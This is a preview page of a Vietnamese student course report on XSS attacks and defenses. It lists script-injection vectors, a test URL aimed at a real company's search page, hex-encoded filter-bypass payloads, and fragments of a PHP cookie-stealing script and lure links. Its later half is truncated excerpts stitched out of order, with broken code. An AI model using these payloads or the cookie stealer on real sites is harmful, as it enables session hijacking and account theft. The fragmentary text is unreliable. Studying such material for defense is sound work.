Đồ án khóa luận kỹ thuật tấn công xss potx

28 563 2
Đồ án khóa luận kỹ thuật tấn công xss potx

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

Thông tin tài liệu

CƠ SỞ TP.HCM 1 HỌC VIỆN CÔNG NGHỆ BƢU CHÍNH VIỄN THÔNG AN NINH MẠNG BÁO CÁO ĐỀ TÀI MÔN HỌC AN NINH MẠNG KỸ THUẬT TẤN CÔNG XSS Giảng viên hướng dẫn : ThS. LÊ PHÚC Sinh viên thực hiện : TRẦN ĐÌNH NGỌC MãSV: 407170045 Lớp : D07THM1 2 AN NINH MẠNG Mục lục I. GIỚI THIỆU CHUNG 4 II. GIỚI THIỆU VỀ XSS 5 1. Tìm hiểu XSS 5 2. Hai hình thức tồn tại của XSS 5 2.1. Stored XSS 5 2.2. Reflected XSS 6 3. Mức độ nguy hiểm của XSS 7 4. Mục tiêu mà XSS hƣớng tới. 8 III.HOẠT ĐỘNG CỦA XSS 9 IV.CẢNH GIÁC VỚI XSS 12 V. KIỂM TRA LỖI XSS 14 1. Sử dụng Tool 14 2. Thử bằng Code 14 VI. KHAI THÁC LỖI XSS 16 1.Tóm tắt các bƣớc thực hiện 17 2. Các cách thực hiện 18 2.1. Nghiên cứu cách lấy cookies: 18 2.2.Nghiên cứu cách lấy account. 18 2.3. Tấn Công XSS Bằng Flash 19 3. Attacker dùng XSS để lừa đảo 22 4. Cách vƣợt qua cơ chế lọc tự 22 3 AN NINH MẠNG VII. PHÒNG CHỐNG XSS 23 1. Với những dữ liệu ngƣời thiết kế và phát triển ứng dụng Web 23 2. Đối với ngƣời dùng. 26 VIII. PHẠM VI VÀ TÍNH KHẢ THI CỦA PHƢƠNG PHÁP TẤN CÔNG BẰNG XSS 27 IX. ĐÁNH GIÁ 27 TÀI LIỆU THAM KHẢO: 28 4 AN NINH MẠNG I. GIỚI THIỆU CHUNG Website ngày nay rất phức tạp và thƣờng là các web động, nội dung của web đƣợc cập nhật thông qua các thành viên tham gia ở khắp mọi nơi trên thế giới. Và hầu hết các website này dùng Cookie để xác thực ngƣời dùng. Điều này đồng nghĩa với việc Cookie của ai thì ngƣời đó dùng, Nếu lấy đƣợc Cookie ngƣời dùng nào Hacker sẽ giả mạo đƣợc chính ngƣời dùng đó(điều này là hết sức nguy hiểm). Vậy làm sao để các hacker có thể lấy cookie của bạn? Có rất nhiều cách để các hacker làm việc đó, ở đây tôi xin trình bày một trong những cách mà hacker thƣờng dùng, đó chính là họ nhờ vào lỗi Cross Site Scripting(XSS). Cross-Site Scripting (XSS) là một trong những kĩ thuật tấn công phổ biến nhất hiện nay, đồng thời nó cũng là một trong những vấn đề bảo mật quan trọng đối với các nhà phát triển web và cả những ngƣời sử dụng web. Bất kì một website nào cho phép ngƣời sử dụng đăng thông tin mà không có sự kiểm tra chặt chẽ các đoạn mã nguy hiểm thì đều có thể tiềm ẩn các lỗi XSS. XSS đƣợc thực hiện trên các thẻ JavaScript, và các thẻ JavaScript chúng có thể làm đƣợc những công việc sau: 1. Thay đổi cấu trúc của toàn bộ trang web. 2. Tạo tùy ý các phần tử HTML. 3. Định tuyến lại các hình thức liên kết 4. Phục hồi dữ liệu, xác thực 5. Gửi và nhận dữ liệu 6. Đọc các tổ hợp phím. 5 AN NINH MẠNG II. GIỚI THIỆU VỀ XSS 1. Tìm hiểu XSS Cross-Site Scripting hay còn đƣợc gọi tắt là XSS (thay vì gọi tắt là CSS để tránh nhầm lẫn với CSS-Cascading Style Sheet của HTML) là một kĩ thuật tấn công bằng cách chèn vào các website động (ASP, PHP, CGI, JSP ) những thẻ HTML hay những đoạn mã script nguy hiểm có khả năng đánh cắp hay thiết lập đƣợc những thông tin quan trọng nhƣ cookies, mật khẩu, usename…. Trong đó, những đoạn mã nguy hiểm đựơc chèn vào hầu hết đƣợc viết bằng các Client-Site Script nhƣ JavaScript, JScript, DHTML và cũng có thể là cả các thẻ HTML. Phƣơng pháp này không nhằm vào máy chủ hệ thống mà chủ yếu tấn công trên chính máy ngƣời sử dụng. Hacker sẽ lợi dụng sự kiểm tra lỏng lẻo từ ứng dụng và hiểu biết hạn chế của ngƣời dùng cũng nhƣ biết đánh vào sự tò mò của họ dẫn đến ngƣời dùng bị mất thông tin một cách dễ dàng. Thông thƣờng hacker lợi dụng địa chỉ URL để đƣa ra những liên kết là tác nhân kích hoạt những đoạn chƣơng trình đƣợc viết bằng ngôn ngữ máy khách nhƣ VBScript, JavaScript…đƣợc thực thi trên chính trình duyệt của nạn nhân 2. Hai hình thức tồn tại của XSS 2.1. Stored XSS Stored XSS là hình thức tấn công mà ở đó cho phép kẻ tấn công có thể chèn một đoạn script nguy hiểm (thƣờng là Javascript) vào website của chúng ta thông qua một chức năng nào đó (vd: viết lời bình, guestbook, gởi bài ), để từ đó khi các thành viên khác truy cập website sẽ bị dính mã độc từ kẻ tấn công này, các mã độc này thƣờng đƣợc lƣu lại trong database của website chúng ta nên gọi là Stored. Stored XSS phát sinh do chúng ta không lọc dữ liệu do thành viên gởi lên một cách đúng đắn, khiến cho mã độc đƣợc lƣu vào Database của website. 6 AN NINH MẠNG 2.2. Reflected XSS Trong hình thức này, kẻ tấn công thƣờng gắn thêm đoạn mã độc vào URL của website chúng ta và gởi đến nạn nhân, nếu nạn nhân truy cập URL đó thì sẽ bị dính mã độc. Điều này xảy ra do ta không chú ý filter input từ URL của website mình. 7 AN NINH MẠNG Tấn công XSStấn công nguy hiểm, cho phép kẻ tấn công ăn cắp thông tin trên máy nạn nhân thông qua javascript nhƣ ăn cắp cookie, chèn mã độc để chiến quyền điều khiển… XSS là một trong những lỗi phổ biến, có rất nhiều trang web bị mắc phải lỗi này, chính vì thế ngày càng có nhiều ngƣời quan tâm đến lỗi này. Gần đây, theo Brian Krebs của tờ Washington Post báo cáo rằng hàng ngàn trang web không an toàn đã đƣợc xác định vào năm ngoái, và trang Xssed.com đưa ra danh sách gần 13.000 trang trong đó có nhiều lỗ hổng cross-site scripting (XSS). Ví dụ 1: Một đoạn url mà hacker chèn Script vào để lấy cookie của ngƣời dùng. http://www.oracle.co.jp/mts_sem_owa/MTS_SEM/im_search_exe?search_te xt=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E 3. Mức độ nguy hiểm của XSS Theo thống kê về các lỗ hổng bảo mật thƣờng bị tấn công nhất vào năm 2009 8 AN NINH MẠNG Cross-Site Scripting (XSS) chiếm một tỉ lệ rất cao so với các phƣơng pháp tấn công khác. Kĩ thuật XSS đƣợc mô tả lần đầu tiên cách đây 5 năm (từ năm 2007 đến 2011) và hầu hết các khả năng tiềm ẩn của kĩ thuật này đã đƣợc biết đến. Tuy nhiên chúng ta mới chỉ khắc phục đƣợc một phần của nó. Không phải vô tình mà Yahoo Mail lại để sót một lỗi XSS trong bộ lọc của mình. Một phƣơng pháp tối ƣu vẫn còn đang ở phía trƣớc. 4. Mục tiêu mà XSS hướng tới. XSS khai thác thƣờng đƣợc sử dụng để đạt đƣợc các kết quả độc hại sau đây: * Truy cập thông tin nhạy cảm hoặc bị hạn chế * Ăn cắp tiền (giao dịch ngân hàng, mua hàng online….) * Theo dõi thói quen lƣớt web của ngƣời dùng * Thay đổi năng của trình duyệt * Bôi nhọ danh tiếng của một cá nhân hay công ty * Hủy hoại ứng dụng Web. * Tấn công từ chối dịch vụ 9 AN NINH MẠNG III.HOẠT ĐỘNG CỦA XSS XSS cho phép attacker chèn các đoạn mã vào link của đƣờng dẫn, để thực hiện trên trình duyệt của ngƣời dùng, dẫn đến việc mất cookies, mật khẩu, session hay chèn virus… Thƣờng thì XSS có dạng nhƣ sau: http://www.xxx.vn//index.php?pg=news&cat=<script>alert(“Lỗi XSS”)</script>. Và nội dung xuất hiện trên trình duyệt là một cái popup có thông tin là „Lỗi XSS‟. Ở trên ví dụ 1 trên chỉ minh họa một cách đơn giản là thêm đoạn mã của mình vào trang Web thông qua URL. Nhƣng thực sự thì có rất nhiều cách để thêm đoạn mã JavaScript với mục đích tấn công kiểu XSS. Hacker có thể dễ dàng lợi dụng Document Object Model (DOM) để thay đổi ngữ cảnh và nội dụng Web ứng dụng. Ví dụ 2: Sau đây là danh sách nơi có thể chèn đoạn mã: <a href= "javas&#99;ript&#35;[code]"> <div onmouseover="[code]"> <img src="javascript:[code]"> <img dynsrc="javascript:[code]"> <input type="image" dynsrc="javascript:[code]"> <bgsound src="javascript:[code]"> &<script>[code]</script> &{[code]}; <img src=&{[code]};> <liên kết rel="stylesheet" href="javascript:[code]"> <iframe src="vbscript:[code]"> <img src="mocha:[code]"> <img src="livescript:[code]"> <a href="about:<s&#99;ript>[code]</script>"> <meta http-equiv="refresh" content="0;url=javascript:[code]"> <body onload="[code]"> 10 AN NINH MẠNG <div style="background-image: url(javascript:[code]);"> <div style="behaviour: url([liên kết to code]);"> <div style="binding: url([liên kết to code]);"> <div style="width: expression([code]);"> <style type="text/javascript">[code]</style> <object classid="clsid: " codebase="javascript:[code]"> <script>[code]</script> <img src="blah"onmouseover="[code]"> <img src="blah>" onmouseover="[code]"> <xml src="javascript:[code]"> <xml id="X"><a><b>&lt;script>[code]&lt;/script>;</b></a></xml> (tài liệu từ http://online.securityfocus.com/archive/1/272037/2002-05-09/2002-05- 15/0) Phần in đậm là phần có thể đặt đoạn mã đánh cắp thông tin. Về cơ bản XSS cũng giống nhƣ SQL Injection hay Source Injection, nó cũng là các yêu cầu (request) đƣợc gửi từ các máy client tới server nhằm chèn vào đó các thông tin vƣợt quá tầm kiểm soát của server Nó có thể là một request đƣợc gửi từ các form dữ liệu hoặc cũng có thể đó chỉ là các URL nhƣ là : http://www.example.com/search.cgi?query=<script>alert('XSS was found !');</script> Và rất có thể trình duyệt của bạn sẽ hiện lên một thông báo "XSS was found !". Các đoạn mã trong thẻ script không hề bị giới hạn bởi chúng hoàn toàn có thể thay thế bằng một file nguồn trên một server khác thông qua thuộc tính src của thẻ script. Cũng chính vì lẽ đó mà chúng ta chƣa thể lƣờng hết đƣợc độ nguy hiểm của các lỗi XSS. Nhƣng nếu nhƣ các kĩ thuật tấn công khác có thể làm thay đổi đƣợc dữ liệu nguồn của web server (mã nguồn, cấu trúc, cơ sở dữ liệu) thì XSS chỉ gây tổn hại đối [...]... %2E%6A%73%3E%3C%25%32%46%73%63%72%69%70%74%3E IV.CẢNH GIÁC VỚI XSS Có lẽ không cần liệt kê những nguy hiểm của XSS, nhƣng trên thực tế nếu bạn có một chút hiểu biết về XSS bạn sẽ không còn phải sợ chúng nữa Thật vậy bạn hoàn toàn có thể tránh khỏi việc bị tấn công bởi những lỗi XSS nếu hiểu kĩ về nó Các thẻ HTML đều có thể là công cụ cho các cuộc tấn công bởi kĩ thuật XSS, trong đó 2 thẻ IMG và IFRAME có thể cho phép... http://www.swingnote.com/tools/txt2hex.php hoặc http://ha.ckers.org /xss. html VII PHÒNG CHỐNG XSS Nhƣ đã đề cập ở trên, một tấn công XSS chỉ thực hiện đƣợc khi gửi một trang web cho trình duyệt web của nạn nhân có kèm theo mã script độc của kẻ tấn công Ngƣời ta không lƣờng hết đƣợc mức độ nguy hiểm của XSS nhƣng cũng không quá khó khăn để ngăn ngừa XSS Có rất nhiều cách để có thể giải quyết vấn đề này OWASP... PHƯƠNG PHÁP TẤN CÔNG BẰNG XSS Mã JavaScript độc có thể truy cập bất cứ thông tin nào sau đây: • Cookie cố định (của site bị lỗi XSS) đƣợc duy trì bởi trình duyệt • RAM Cookie (của site bị lỗi XSS) • Tên của tất cả các cửa sổ đƣợc mở từ site bị lỗi XSS • Bất cứ thông tin mà có thể truy cập đƣợc từ DOM hiện tại (nhƣ value, mã HTML…) Trong thời gian vừa qua ta thấy rằng phƣơng pháp tấn công vào lỗi XSS của... khách duyệt site đó Tất nhiên đôi khi các hacker cũng sử dụng kĩ thuật này đề deface các website nhƣng đó vẫn chỉ tấn công vào bề mặt của website Thật vậy, XSS là những Client-Side Script, những đoạn mã này sẽ chỉ chạy bởi trình duyệt phía client do đó XSS không làm ảnh hƣởng đến hệ thống website nằm trên server Mục tiêu tấn công của XSS không ai khác chính là những ngƣời sử dụng khác của website,... thấy rằng phƣơng pháp tấn công vào lỗi XSS của các trang web vẫn nằm ở con số rất cao chỉ sau SQL Injection Cho nên phƣơng pháp tấn công XSS vẫn đƣợc coi nhƣ là rất khả thi để thực hiện và việc tấn công vẫn còn rộng rãi IX ĐÁNH GIÁ Các hiểm họa trong môi trường Internet Kĩ thuật XSS khá phổ biến và dễ dàng áp dụng, và mức độ thiệt hại của chúng có thể gây những hậu quá rất nghiêm trọng Vì thế, ngoài việc... Hệ thống thanh toán, game, shopping, Ngân hàng, Tín dụng hoặc là chèn virus! 4 Cách vượt qua cơ chế lọc tự Nhiều coder khôn khéo lọc hết các kỹ tự đặc biệt nhƣ ' hay + để tránh các việc chèn lệnh trên URL để tấn công SQL hay XSS nhƣng một attacker cao tay sẽ dễ dàng giải quyết việc này bằng cách sử dụng mã hóa HEX thay thế để khai thác Hex Usage: http://www.sitebiXSS.com/a.php?variable=%22%3e%3c%73%63%72%69%70%... nhập vào chuỗi XSS Bước 3: Xác minh khả năng site có bị lỗi XSS hay không bằng cách xem các thông tin trả về Ví dụ chúng ta thấy thế này: „Không tìm thấy XSS ‟ , hay là „Tài khoản XSS không chính xác‟, „Đăng nhập với XSS không thành công … thì khi đó khả năng chỗ đó bị dính XSS là rất cao Bước 4: Khi đã xác định chỗ có khả năng bị dính lỗi XSS thì chúng ta sẽ chèn những đoạn code của chúng ta vào để... chắc chắn là website đó lỗi XSS 100% Gọi http://websitebiloi.com/ là site bị dính lỗi XSS và ta tìm đƣợc nơi bị lỗi nhƣ thế này : http://websitebiloi.com/index.php?page= nghĩa là ta có thể chèn code ngay trên thanh ADDRESS Bước 5: Lên kế hoạch kịch bản tấn công VI KHAI THÁC LỖI XSS Khác với các lỗi khác là gây hại trực tiếp lên hệ thống chứa web site, còn XSS lại không gây hại đến... fclose($fp); header("location: http:// hostxss.com /"); ?> Thứ ba: Trên những phần trả lời hay góp ý trên diễn đàn hoặc email hoặc website (bị lỗi XSS) chúng ta để một link có lời giới thiệu hay thông báo gây chú ý (có hostname là của trang web bị nhiễm XSS) dạng nhƣ sau : http:// hostxss.com /search.cgi?query=alert(document.cookie) hoặc http:// hostxss.com /search.cgi?%71%75 72%69%70%74%3E... bạn có thể sẽ gặp phải các đoạn mã nguy hiểm nếu nhƣ bạn mất cảnh giác với XSS Tất nhiên còn rất nhiều những kiểu tấn công khác, trong đó có những kiểu đã đƣợc tìm ra có những kiều chƣa lƣờng hết đƣợc, những trong khuôn khổ bài viết này tôi hi vọng với một vài ví dụ vừa rồi, các bạn cũng đã hiểu phần nào về XSS V KIỂM TRA LỖI XSS Nếu nhƣ các bạn sử dụng các mã nguồn của các chƣơng trình có sẵn bạn có . VỀ XSS 5 1. Tìm hiểu XSS 5 2. Hai hình thức tồn tại của XSS 5 2.1. Stored XSS 5 2.2. Reflected XSS 6 3. Mức độ nguy hiểm của XSS 7 4. Mục tiêu mà XSS hƣớng tới. 8 III.HOẠT ĐỘNG CỦA XSS. MẠNG Tấn công XSS là tấn công nguy hiểm, cho phép kẻ tấn công ăn cắp thông tin trên máy nạn nhân thông qua javascript nhƣ ăn cắp cookie, chèn mã độc để chiến quyền điều khiển… XSS là một. hoàn toàn có thể tránh khỏi việc bị tấn công bởi những lỗi XSS nếu hiểu kĩ về nó. Các thẻ HTML đều có thể là công cụ cho các cuộc tấn công bởi kĩ thuật XSS, trong đó 2 thẻ IMG và IFRAME có

Ngày đăng: 27/06/2014, 02:20

Từ khóa liên quan

Tài liệu cùng người dùng

Tài liệu liên quan